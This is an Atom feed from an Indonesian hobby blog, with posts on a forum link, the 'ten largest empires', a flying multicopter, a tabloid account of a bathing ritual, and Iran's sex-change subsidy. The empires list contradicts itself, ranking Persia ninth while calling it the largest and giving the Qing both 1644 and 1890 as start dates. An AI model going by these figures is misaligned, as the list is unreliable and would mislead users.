<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-4903901177302388009</id><updated>2012-02-16T02:56:39.518-08:00</updated><category term='Router'/><title type='text'>Diskusi, Tutorial, News</title><subtitle type='html'>Linux, BSD OS, Networking, Klenix, Programming, News, Open Source, Forum, Lowongan</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://kluthix.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://kluthix.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Andi Novianto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://3.bp.blogspot.com/_uk6ho0aKuDg/SS9FZ2N-ndI/AAAAAAAAAAM/rEGsVGt1fF0/S220/Untitled-TrueColor-04.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>91</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-4903901177302388009.post-1818402210505921371</id><published>2011-12-23T03:01:00.001-08:00</published><updated>2011-12-23T03:01:19.128-08:00</updated><title type='text'>Forum Diskusi</title><content type='html'>&lt;a id="nabblelink" href="http://diskusi.2314897.n4.nabble.com/"&gt;Diskusi&lt;/a&gt;&lt;br /&gt;&lt;script src="http://diskusi.2314897.n4.nabble.com/embed/f4228142"&gt;&lt;/script&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4903901177302388009-1818402210505921371?l=kluthix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kluthix.blogspot.com/feeds/1818402210505921371/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://kluthix.blogspot.com/2011/12/forum-diskusi.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/1818402210505921371'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/1818402210505921371'/><link rel='alternate' type='text/html' href='http://kluthix.blogspot.com/2011/12/forum-diskusi.html' title='Forum Diskusi'/><author><name>Andi Novianto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://3.bp.blogspot.com/_uk6ho0aKuDg/SS9FZ2N-ndI/AAAAAAAAAAM/rEGsVGt1fF0/S220/Untitled-TrueColor-04.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4903901177302388009.post-7310066401160623044</id><published>2011-12-23T00:46:00.001-08:00</published><updated>2011-12-23T02:42:30.194-08:00</updated><title type='text'>10 Kerajaan Terbesar Dalam Sejarah 10 Kerajaan Terbesar Dalam Sejarah</title><content type='html'>Suatu kerajaan memperbesar pengaruhnya dengan memperluas wilayahnya. Keadidayaan suatu kerajaan dilihat dari luas wilayah, banyaknya penduduk, ekonomi, berapa lama suatu kerajaan itu berdiri dan juga banyak faktor lain yang mempengaruhi seperti pemerintahannya dan undang-undangya, ataupun juga kebahagiaan penduduknya. Berikut adalah 10 kerajaan terbesar yang pernah ada dalam sejarah:&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;10. Kerajaan Akkadia (2300 SM–2200 SM)&lt;br /&gt;Kerajaan Akkadia berpusat di kota Akkad (Irak Kuno). Bangsa Akkadia nenek moyang bangsa-bangsa Babilonia dan Assyria. Kerajaan ini berada pada puncak kejayaannya pada abad ke 24 dan 22 sebelum Masehi. Ini dianggap sebagai kerajaan pertama yang ada di bumi. Luas wilayahnya mencapai 0. 8 juta Km persegi.&lt;br /&gt;&lt;br /&gt;9. Kerajaan Persia (550 SM–330 SM)&lt;br /&gt;Kerajaan Persia, Iran Kuno, adalah perkembangan dari kerajaan Median, mengatur sebagian besar wilayah arab dan sekitarnya. Median dan Persia juga dikenal sebagai kerajaan Medo-Persia adalah gabungan dari kerajaan-kerajaan sebelum masanya. Dibangun oleh Sirus Yang Agung dan menguasai beberapa benua yaitu Asia, Eropa dan Afrika.&lt;br /&gt;&lt;br /&gt;Pada masa puncaknya, kerajaan ini meliputi wilayah Iran, Afganistan, Pakistan, beberapa bagian Asia tengah, Asia Kecil, Thrace (Eropa Tenggara-Balkan), dan Makedonia, sebagian besar wilayah sekitar Laut Hitam, Irak, Arab Utara, Yordania, Palestina, Israel, Lebanon, Syria, Mesir Kuno sampai ke Libya. Dalam sejarah bangsa Barat, kerajaan ini tercatat sebagai musuh dari kerajaan Yunani dalam Perang Greco-Persia, sebagai antisipasi dari budak termasuk di antaranya bangsa yahudi sebagai tahanan bangsa Babilonia dan kemauan untuk penggunaan bahasa yang sama dalam wilayah ini.&lt;br /&gt;&lt;br /&gt;Kerajaan Persia ini kemudian diserang oleh Aleksander III dari Makedonia dan sesudah itu kerajaan inipun(Makedonia) runtuh dan tercerai-berai pada 330 SM menjadi Kerajaan Ptolemaic (Mesir) and Kerajaan Seleucid. Kerajaan ini adalah kerajaan terbesr dalam sejarah. Pada masa puncak kejayaannya, wilayahnya melampaui 8. 000. 000 km persegi.&lt;br /&gt;&lt;br /&gt;8. Kekaisaran Romawi (27 SM– 476/1453 M)&lt;br /&gt;Tipe pemerintahan kerajaan ini adalah aristokastik dan wilayahnya meliputi Eropa dan Sekitar Mediterania. Kerajaan ini lemah setelah diterpa perang sipil. Beberapa peristiwa perubahan sistem pemerintahan dari Republik ke Kerajaan ditandai dari terpilihnya Julius caesar sebagai diktator yang berkuasa pada 44 SM, dan Perang Actium (2 September 31 SM). Perluasan wilayah Romawi bermula ketika sistem pemerintahanya berbentuk republik, dan mencapai puncak kejayaannya sewaktu berbentuk kekaisaran, tepatnya Kaisar Trajan. Luas wilayahnya pada waktu itu adalah 6. 500. 000 km persegi. Karena kerajaan ini berlangsung sangat lama, pengaruhnya dalam bahasa, agama, arsitektur, filosofi, hukum dan sistem pemerintahanya tetap ada sampai sekarang.&lt;br /&gt;&lt;br /&gt;7. Kekalifahan Ummayah (661 M – 750 M)&lt;br /&gt;Sistem Kekalifahan adalah suatu bentuk pemerintahan Islam sebagai bentuk kesatuan politik dan kepemimpinan Muslim di seluruh dunia. Kalifah adalah pemimpin muslim setelah Nabi Muhammad. Kekalifahan Ummayah adalah kalifah kedua dari 4 kalifah dan diatur oleh dinasti Ummayah. Nama ini diambil dari Umayya ibn Abd Shams, moyang dari Kalifah Ummayah yang pertama. Meskipun keluarga Ummayah berasal dari Mekah, mereka memilih Damaskus sebagai ibukotanya. Kekalifahan Ummayah ini adalah bangsa Arab-Islam terbesar dalam sejarah. Luas wilayahnya mencapai 5. 000. 000 km2.&lt;br /&gt;&lt;br /&gt;6. Dinasti Qing (1890–1912)&lt;br /&gt;Dinasti Qing adalah dinasti terakhir di China. Bermula dari Dinasti Ming dan berlanjut dalam bentuk Republik Rakyat China. Dinasti ini dibentuk oleh klan Manchuria Aisin Gioro (sekarang timur laut china). Berawal dari tahun 1644 dan memperluas wilayahnya di sekitar china membentuk Kekaisaran Qing yang Agung. Dinasti ini menyatukan china pada 1683. Dinasti Qing kemudian jatuh setelah Revolusi Xinhai, ketika Empress Dowager Longyu melepaskan tahtanya sebagai kaisar, Puyi pada 12 februari 1912. Wilayahnya mencapai 14. 700. 000 km2.&lt;br /&gt;&lt;br /&gt;5. Kekaisaran Rusia (1721–1917)&lt;br /&gt;Kekaisaran ini berawal dari 1721 dan berakhir pada Revolusi Rusia 1917. Kekaisaran ini adalah kelanjutan dari Tsar Rusia dan menjadi Uni Soviet. Pada 1866, kekaisaran ini memperluas wilayahnya dari Eropa timur ke Asia dan Afrika Utara. Pada awal abad 19, Rusia adalah negara terbesar di dunia. Wilayahnya mencakup Benua Artika di utara sampai Laut Hitam di selatan, Laut Baltik di barat sampai ke Samudra Pasifik di sebelah timur.&lt;br /&gt;&lt;br /&gt;4. Kekaisaran Mongolia (1206–1368)&lt;br /&gt;Kekaisaran Mongolia berawal dari abad 13 sampai abad 14. Wilayahnya membentang dari Eropa timur ke Asia. Kekaisaran ini adalah gabungan dari bangsa Mongol dan Turki setelah Genghis Khan diproklamirkan sebagai pemimpinnya pada 1206. Pada masa puncak kejayaanya, wilayahnya membentang dari Sungai Danube di Eropa sampai ke laut jepang. dan dari Benua Artika sampai ke Kamboja. Luas wilayahnya mencapai 24. 000. 000 km2. Pada 1294, kekaisaran mongol pecah menjadi 4 bagian.&lt;br /&gt;&lt;br /&gt;3. Kerajaan Mogul (1526–1858)&lt;br /&gt;Kerajaan Mogul adalah kerajaan Islam yang mengatur sebagian besar wilayah India dan berawal pada 1526. Kerajaan ini mengatur sebagian besar Asia Selatan pada akhir abad 17 dan awal abad 18 dan berakhir pada pertengahan abad 19. Kerajaan Mogul adalah keturunan dari Timurid dari Turkistan pada tahun 1700 an, kerajaan ini mencakup seluruh daratan India. Wilayahnya pada waktu itu 4. 000. 000 km2. Kerajaan ini bermula dari kepemimpinan Jalaluddin Mohammad Akbar atau Akbar yang Agung dan berakhir pada 1707 setelah kematian Kaisar Aurangzeb meskipun masih berlangsung sampai 150 tahun kemudian.&lt;br /&gt;&lt;br /&gt;2. Kerajaan Inggris&lt;br /&gt;Kerajaan inggris terdiri dari domini, koloni, protektorat dan mandat dan semua wilayah yang diatur oleh kerajaan Inggris. Sampai tahun 1922 Kerajaan Inggris memiliki 450 juta jiwa dan itu merupakan 1/4 penduduk dunia waktu itu. Wilayahnya seluas 33. 700. 000 km2. dan mempunyai kekuatan militer paling besar dalam sejarah.&lt;br /&gt;&lt;br /&gt;1. Kekaisaran Ottoman (Turki 1299–1923)&lt;br /&gt;Adalah kerajaan Islam yang berlangsung dari 1 November 1299 sampai 24 Juli 1924. Pada masa kejayaannya, kekaisaran ini meliputi 3 benua, mengatur sebagian besar Asia Barat, Timur dan Tenggara Eropa, daerah pegunungan Kaukasus dan Afrika Utara. Kekaisaran ini berlangsung paling lama yaitu selama 7 abad. Mereka juga toleran terhadap umat Kristen dan Yahudi.&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4903901177302388009-7310066401160623044?l=kluthix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kluthix.blogspot.com/feeds/7310066401160623044/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://kluthix.blogspot.com/2011/12/10-kerajaan-terbesar-dalam-sejarah-10.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/7310066401160623044'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/7310066401160623044'/><link rel='alternate' type='text/html' href='http://kluthix.blogspot.com/2011/12/10-kerajaan-terbesar-dalam-sejarah-10.html' title='10 Kerajaan Terbesar Dalam Sejarah 10 Kerajaan Terbesar Dalam Sejarah'/><author><name>Andi Novianto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://3.bp.blogspot.com/_uk6ho0aKuDg/SS9FZ2N-ndI/AAAAAAAAAAM/rEGsVGt1fF0/S220/Untitled-TrueColor-04.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4903901177302388009.post-5005815739342539102</id><published>2011-12-23T00:42:00.000-08:00</published><updated>2011-12-23T00:44:43.164-08:00</updated><title type='text'>Mobil Udara menakjubkan Kendaraan Masa Depan ‘Mobil Udara’ Menakjubkan Kendaraan Masa Depan</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/-5aQ2dbmXZ-0/TvQ_Sxemj6I/AAAAAAAAAPw/jfqW2DChpK8/s1600/1793712.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 300px; height: 150px;" src="http://4.bp.blogspot.com/-5aQ2dbmXZ-0/TvQ_Sxemj6I/AAAAAAAAAPw/jfqW2DChpK8/s400/1793712.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5689241821027667874" /&gt;&lt;/a&gt;&lt;br /&gt;Mobil Udara&lt;br /&gt;&lt;br /&gt;‘Mobil Udara’ Menakjubkan Kendaraan Masa Depan – Di banyak kota seperti Jakarta, macet lalu lintas sering terjadi. Seorang ahli membuat kendaraan baru masa depan yang bisa menjadi pemecah masalah itu. Seperti apa?&lt;br /&gt;&lt;br /&gt;Kendaraan yang sebenarnya merupakan helikopter yang benar-benar baru ini mungkin memiliki tampilan seperti kendaraan luar angkasa. E-Volo 16-rotor ini mampu melayang di udara tanpa input dari pilot.&lt;br /&gt;&lt;br /&gt;Teknisi Thomas Senkel akhirnya mengujinya pada penerbangan berawak pertama pekan ini dan berhasil melayang selama satu menit 30 detik. Kendaraan jenis baru ini cukup dikendalikan dari joystick dan Senkel mengakui, ini akan merevolusi kendaraan.&lt;br /&gt;&lt;br /&gt;Menurut ketiga pencipta kendaraan ini, E-Volo dapat digunakan untuk memeriksa garis pipa, ambulan udara atau mengambil foto dari udara atau hanya untuk bersenang-senang.&lt;br /&gt;&lt;br /&gt;“Kendaraan ini memiliki struktur yang sangat bagus dan mampu menggantikan kendaraan lain, bahkan helikopter di banyak situasi,” tutupnya seperti dikutip DM.&lt;br /&gt;lihat video &lt;a href="http://www.youtube.com/watch?v=L75ESD9PBOw&amp;feature=player_embedded"&gt;disini&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4903901177302388009-5005815739342539102?l=kluthix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kluthix.blogspot.com/feeds/5005815739342539102/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://kluthix.blogspot.com/2011/12/home-iptek-mobil-udara-menakjubkan.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/5005815739342539102'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/5005815739342539102'/><link rel='alternate' type='text/html' href='http://kluthix.blogspot.com/2011/12/home-iptek-mobil-udara-menakjubkan.html' title='Mobil Udara menakjubkan Kendaraan Masa Depan ‘Mobil Udara’ Menakjubkan Kendaraan Masa Depan'/><author><name>Andi Novianto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://3.bp.blogspot.com/_uk6ho0aKuDg/SS9FZ2N-ndI/AAAAAAAAAAM/rEGsVGt1fF0/S220/Untitled-TrueColor-04.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-5aQ2dbmXZ-0/TvQ_Sxemj6I/AAAAAAAAAPw/jfqW2DChpK8/s72-c/1793712.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4903901177302388009.post-7897081447408472990</id><published>2011-12-23T00:29:00.000-08:00</published><updated>2011-12-23T00:40:16.475-08:00</updated><title type='text'>Ritual Aneh, Mandi Tak Boleh Menutup Payudara di Umbul Mandi</title><content type='html'>Ada larangan tak tertulis bagi kaum perempuan yang mandi di sumber air yang dikeramatkan ini. Mereka dilarang menutupi payudaranya. Alhasil, ritual pamer payudara pun semarak. Terutama di malam Jum’at Legi….&lt;br /&gt;&lt;br /&gt;Ritual Payudara Umbul Manding sumber air bersih yang ada di Desa Semanding, Keca. Pucanglaban, Kab. Tulungagung, Jawa Tengah. Sejak dulu debit air di tempat ini memang besar. Bahkan, saat kemarau panjang sekalipun, umbul ini tak pernah kekurangan air.&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;Home » Aneh » Ritual Aneh, Mandi Tak Boleh Menutup Payudara&lt;br /&gt;Ritual Aneh, Mandi Tak Boleh Menutup Payudara&lt;br /&gt;&lt;br /&gt;    Thursday, December 22, 2011, 15:37&lt;br /&gt;&lt;br /&gt;    Cetak Artikel &lt;br /&gt;&lt;br /&gt;Ritual Aneh, Mandi Tak Boleh Menutup Payudara – Ada larangan tak tertulis bagi kaum perempuan yang mandi di sumber air yang dikeramatkan ini. Mereka dilarang menutupi payudaranya. Alhasil, ritual pamer payudara pun semarak. Terutama di malam Jum’at Legi….&lt;br /&gt;&lt;br /&gt;Ritual Payudara Umbul Manding sumber air bersih yang ada di Desa Semanding, Keca. Pucanglaban, Kab. Tulungagung, Jawa Tengah. Sejak dulu debit air di tempat ini memang besar. Bahkan, saat kemarau panjang sekalipun, umbul ini tak pernah kekurangan air.&lt;br /&gt;&lt;br /&gt;http://4.bp.blogspot.com/-8eedjIBSy4Y/TuReHpV-KDI/AAAAAAAAF-U/7QXN-imoqjs/s1600/gadis+mandi.jpg&lt;br /&gt;&lt;br /&gt;Gambar : ilustrasi&lt;br /&gt;&lt;br /&gt;Karena debit airnya yang relatif besar dan bersih, maka sumber air ini sejak dulu dimanfaatkan warga Desa Semanding dan sekitarnya. Terutama untuk masak, mandi, mencuci, bahkan untuk mengairi sawah. Maklum saja, Umbul Manding memang berada di daerah pegunungan yang amat sulit air.&lt;br /&gt;&lt;br /&gt;Yang dapat dikatakan unik, tempat yang biasanya digunakan untuk mandi sejak dulu sengaja dibiarkan terbuka. Tidak ditutupi apa-apa. Padahal, yang mandi disitu tidak hanya laki-laki, tapi juga perempuan. Mereka berbaur menjadi satu untuk mandi bersama.&lt;br /&gt;&lt;br /&gt;Adakah rasa kikuk atau malu pada diri mereka? Mungkin karena sudah menjadi kebiasaan, maka tidak ada yang merasa malu jika dilihat orang, terutama lawan jenis. Bahkan kalau kaum perempuan sedang mandi mereka sama sekali tidak perlu merasa repot menyembunyikan payudaranya. Bahkan, ada kesan payudara itu sengaja dipamerkan.&lt;br /&gt;&lt;br /&gt;Bagi warga pendatang yang belum terbiasa, kalau mandi di Umbul terpaksa menutupi payudaranya. Salah satunya seperti dialami Darsini, seorang guru SD yang ditugaskan mengajar di daerah itu.&lt;br /&gt;&lt;br /&gt;Bu Darsini mengaku pada awalnya sangat malu kalau mandi di umbul. Namun, karena tidak ada sumber air di desa tempatnya mengabdi selain umbul itu, dia terpaksa mandi disitu juga. Karena masih malu, pada awalnya kalau mandi terpaksa dia memakai baju. Lama-lama karena sudah biasa bajunya dilepas, begitu juga BH-nya. Akhirnya, kalau mandi telanjang dada.&lt;br /&gt;&lt;br /&gt;“Tidak tahu kenapa, tapi mungkin karena kebiasaan, sekarang kalau mandi saya ikut dengan warga. Semuanya pamer payudara,” kata Bu Darsini sambil tersenyum. Walau didekatnya ada Pak Guru dia tidak merasa malu lagi. “Biarin, dari pada dilihat orang lain, lebih baik dilihat teman sendiri,” selorohnya.&lt;br /&gt;&lt;br /&gt;Karena ritual mandi telanjang dada ini, maka siapa saja yang kebetulan lewat bisa melihat dengan jelas payudara wanita-wanita desa setempat.&lt;br /&gt;&lt;br /&gt;Dilihat dari dekat, masyarakat Desa Semanding memang tergolong masih kolot. Contohnya, warga di sana masih percaya dengan berbagai kepercayaan kuno. Umpamanya, perawan sebelum datang bulan yang pertama, giginya harus dipungur. Alasannya, kalau sudah datang bulan payudaranya supaya cepat besar. Kalau sudah begitu, perawan tersebut biar cepat laku.&lt;br /&gt;&lt;br /&gt;Karena masih percaya dengan adat dan kepercayaan tersebut, jumlah wanita di sana yang tidak bisa menyelesaikan pendidikan dasar masih sangat tinggi. Sebab walau masih SD kalau payudaranya sudah kelihatan besar langsung ditikahkan. Umumnya orang tua disana merasa malu kalau punya anak perawan yang payudaranya sudah kelihatan besar, tapi belum menikah.&lt;br /&gt;&lt;br /&gt;Anehnya lagi, bagi yang sudah tidak perawan, pulang mandi dari umbul selalu telanjang dada.&lt;br /&gt;&lt;br /&gt;“Nanti kalau tidak telanjang dada malah dikira masih perawan. Padahal anak saya sudah tiga,” kata Yu Sayem ketika minta keterangan oleh Misteri.&lt;br /&gt;&lt;br /&gt;Kenapa tempat mandi di Umbul Manding dibiarkan terbuka? Dan, kenapa juga kalau mandi kaum perempuan harus bertelanjang dada?&lt;br /&gt;&lt;br /&gt;Rupanya hal ini berkaitan dengan sebuah legenda masyarakat Semanding. Mereka percaya dengan kisah perawan desa yang bernama Srikunti.&lt;br /&gt;&lt;br /&gt;Alkisah, beberapa puluh tahun silam, Srikunti ikut daftar jadi calon PNS. Ternyata dia diterima. Bahkan kemudian bunga desa ini menjadi guru di SD Semanding.&lt;br /&gt;&lt;br /&gt;Walau Srikunti sudah menjadi guru namun dia tidak berubah. Terhadap siapa saja dia tetap tidak membeda-bedakan. Sehingga banyak orang yang simpati kepadanya. Salah satunya adalah mandor hutan yang bernama Basman. Cinta Basman diterima Srikunti. Keduanya berjanji akan hidup bersama.&lt;br /&gt;&lt;br /&gt;Akhirnya setelah menikah, Srikunti diboyong Basman ke rumah orang tuanya yang juga ada di Desa Semanding. Mula-mula penganten ini hidup rukun. Srikunti sendiri waktu itu sudah kerasan hidup di rumah mertuanya.&lt;br /&gt;&lt;br /&gt;Tetapi yang namanya hidup berrumah tangga ada saja rintangannya. Suatu ketika Srikunti mendengar kabar kalau suaminya suka mabuk-mabukkan. Walau dia sudah mengingatkan, suaminya tetap saja tidak mau mendengar. Hampir setiap hari Basman malah pulang sempoyongan karena mabuk.&lt;br /&gt;&lt;br /&gt;Karena merasa kecewa, diam-diam Srikunti nekad pergi meninggalkan rumah. Supaya tidak terlihat orang setelah Maghrib dia baru berangkat. Namun setelah dia sampai di Umbul Munding malah berhenti. Lalu dia duduk di tepi umbul. Angan-angannnya pergi entah kemana. Dia teringat orang tuannya dan adik-adiknya. Hatinya susah.&lt;br /&gt;&lt;br /&gt;Tidak terasa, sudah begitu lama Srikunti duduk melamun di tepi umbul. Sewaktu dia akan meninggalkan umbul, tiba-tiba dari dalam air muncul seorang puteri yang naik bulus raksasa. Sang putri menghampiri Srikunti.&lt;br /&gt;&lt;br /&gt;“Kamu jangan mupus (putus asa) dan harus tetap tabah,” kata puteri itu. “Aku datang mau menolong kamu. Sekarang pulanglah ke rumah orang tuamu. Sediakan bunga tujuh warna. Besok bawa ke sini. Apa yang kamu minta bakal kesampaian,” sambungnya.&lt;br /&gt;&lt;br /&gt;Setelah berkata begitu, puteri cantik tadi hilang entah kemana. Yang kelihatan di depan Srikunti tinggal bulus yang tadi dinaiki sang puteri.&lt;br /&gt;&lt;br /&gt;Sementara itu, di rumah Basman bingung mencari isterinya. Sudah dicari kemana-mana tapi tidak ada.&lt;br /&gt;&lt;br /&gt;Waktu tengah malam, Basman mendengar kabar kalau ada seorang wanita pingsan di dekat Umbul Munding. Dia cepat-cepat pergi kesana. Ternyata, wanita yang pingsan di dekat umbul adalah isterinya.&lt;br /&gt;&lt;br /&gt;Setelah sadar, Srikunti menceritakan apa yang dialaminya. Mendengar kisah Srikunti, muncul kepercayaan dia sudah dibawa pergi siluman Bulus Putih. Sementara, Basman berjanji tidak akan mabuk-mabukan lagi.&lt;br /&gt;&lt;br /&gt;Srikunti menjalankan pesan putri gaib yang menemuinya. Dia menyediakan bunga tujuh warna. Setelah itu, dibawa ke umbul dengan ditemani Basman, suaminya.&lt;br /&gt;&lt;br /&gt;Keduanya menunggu datangnya sang puteri. Tetapi di tunggu sampai jauh malam sang puteri tak kunjung datang.&lt;br /&gt;&lt;br /&gt;“Apakah sang puteri menipu saya, sehingga dia tidak datang?” Gumam Srikunti.&lt;br /&gt;&lt;br /&gt;Karena tidak ada tanda-tanda sang putri akan datang, Srikunti dan Basman memutuskan meninggalkan umbul. Tetapi baru saja melangkah, tiba-tiba terdengar ada suara yang memanggil mereka.&lt;br /&gt;&lt;br /&gt;“Kalau kamu ingin harta banyak jangan tergesa-gesa!” Kata suara dari dalam umbul.&lt;br /&gt;&lt;br /&gt;“Kamu siapa?” Tanya Srikunti.&lt;br /&gt;&lt;br /&gt;“Saya siluman Bulus Putih yang menunggu Umbul Manding.”&lt;br /&gt;&lt;br /&gt;Srikunti dan Basman terdiam. Di hadapan mereka tampak sesosok putri cantik jelita.&lt;br /&gt;&lt;br /&gt;“Kalau kamu ingin kaya, jaga umbul ini supaya sumbernya tetap besar!” Kata sang putri lagi.&lt;br /&gt;&lt;br /&gt;“Bagaimana caranya?” Tanya Srikunti.&lt;br /&gt;&lt;br /&gt;“Caranya gampang. Semua wanita yang di sini kalau mandi jangan ada yang menutupi payudara. Sebab, kalau ada yang berani menutupi payudaranya, siluman Bulus Putih akan marah.”&lt;br /&gt;&lt;br /&gt;Setelah memberi pesan demikian, sang putri menghilang.&lt;br /&gt;&lt;br /&gt;Entah bagaimana, cerita dari mulut ke mulut ini akhirnya dipercaya oleh banyak orang. Terutama warga Desa Semanding dan sekitarnya.&lt;br /&gt;&lt;br /&gt;Ya, karena masih banyak yang percaya, sampai sekarang masih banyak orang yang ngalap berkah ke Umbul Manding. Apa lagi kalau malam Jum’at Legi, banyak warga luar Desa Semanding yang datang. Mereka melakukan ritual pamer payudara.&lt;br /&gt;&lt;br /&gt;Pemandangan unik bisa saja kita saksikan. Selepas mandi dari Umbul Manding, banyak yang pulang dengan telanjang dada. Payudaranya dibiarkan dilihat orang.&lt;br /&gt;&lt;br /&gt;Sumber Ritual Aneh, Mandi Tak Boleh Menutup Payudara  sini&lt;br /&gt;sumber :http://www.exelroze.info/2011/12/ritual-aneh-mandi-tak-boleh-menutup.html&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4903901177302388009-7897081447408472990?l=kluthix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kluthix.blogspot.com/feeds/7897081447408472990/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://kluthix.blogspot.com/2011/12/ritual-aneh-mandi-tak-boleh-menutup.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/7897081447408472990'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/7897081447408472990'/><link rel='alternate' type='text/html' href='http://kluthix.blogspot.com/2011/12/ritual-aneh-mandi-tak-boleh-menutup.html' title='Ritual Aneh, Mandi Tak Boleh Menutup Payudara di Umbul Mandi'/><author><name>Andi Novianto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://3.bp.blogspot.com/_uk6ho0aKuDg/SS9FZ2N-ndI/AAAAAAAAAAM/rEGsVGt1fF0/S220/Untitled-TrueColor-04.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4903901177302388009.post-7195163617321628464</id><published>2011-12-20T04:52:00.000-08:00</published><updated>2011-12-20T04:53:24.171-08:00</updated><title type='text'>Iran Subsidi Biaya Ganti Kelamin</title><content type='html'>Laki-laki atau perempuan. Lain dari itu tidak mungkin di Iran. Itu menjelaskan mengapa pemerintah menyubsidi operasi kelamin, kata dokter Bahram Mir-Jalali, tokoh terkemuka di bidang operasi kelamin. Iran menempati urutan kedua negara di dunia yang paling banyak melakukan operasi kelamin. Ini menarik sekali, melihat Iran adalah negara Islam konservatif.&lt;br /&gt;&lt;br /&gt;Penampilan Somayeh (23), super feminin. Bulu mata lentik, bibir merah, rambut panjang berombak yang hanya sebagian ditutupi jilbab ungu. Sebelumnya ia bernama Afshin, laki-laki. Dan menurut Somayeh, dulu ia sama sekali tidak bahagia.&lt;br /&gt;&lt;br /&gt;"Saya selalu merasa sebagai perempuan. Sejak kecil, saya suka main boneka Barbie. Hanya penampilan saya yang tidak cocok. Saya lega sekali ketika mendengar orang bisa mengubah jenis kelamin melalui operasi. Saya langsung berpikir, itu jalan keluar bagi saya!"&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;Seperti banyak orang, Somayeh meninggalkan desa kelahiran di Iran utara dan bertolak ke ibukota Teheran, mendatangi klinik swasta milik profesor Bahram Mir-Jalali, pelopor dan tokoh terkemuka di bidang operasi kelamin. Dalam kurun waktu 12 tahun, pakar ini telah membantu sedikitnya seribu orang.&lt;br /&gt;&lt;br /&gt;Setelah serangkaian kunjungan dokter, sebelum operasi, Afshin juga secara fisik merasa sebagai perempuan.&lt;br /&gt;&lt;br /&gt;Menarik bahwa justru negara Islam konservatif Iran, di mana homoseksual dapat dihukum mati, merupakan negara kedua yang paling banyak melakukan operasi kelamin. Thailand menduduki urutan pertama.&lt;br /&gt;&lt;br /&gt;Undang-undang Iran memperbolehkan operasi kelamin. Pemerintah menyubsidi dan menanggung hingga separuh dari total biaya operasi, yang bernilai sekitar enam ribu euro (sekitar Rp 72 juta).&lt;br /&gt;&lt;br /&gt;Pemerintah beranggapan, biaya dan kerugian - dalam bentuk bunuh diri dan kriminalitas - semakin besar bagi masyarakat, jika orang-orang seperti ini tidak diakui atau 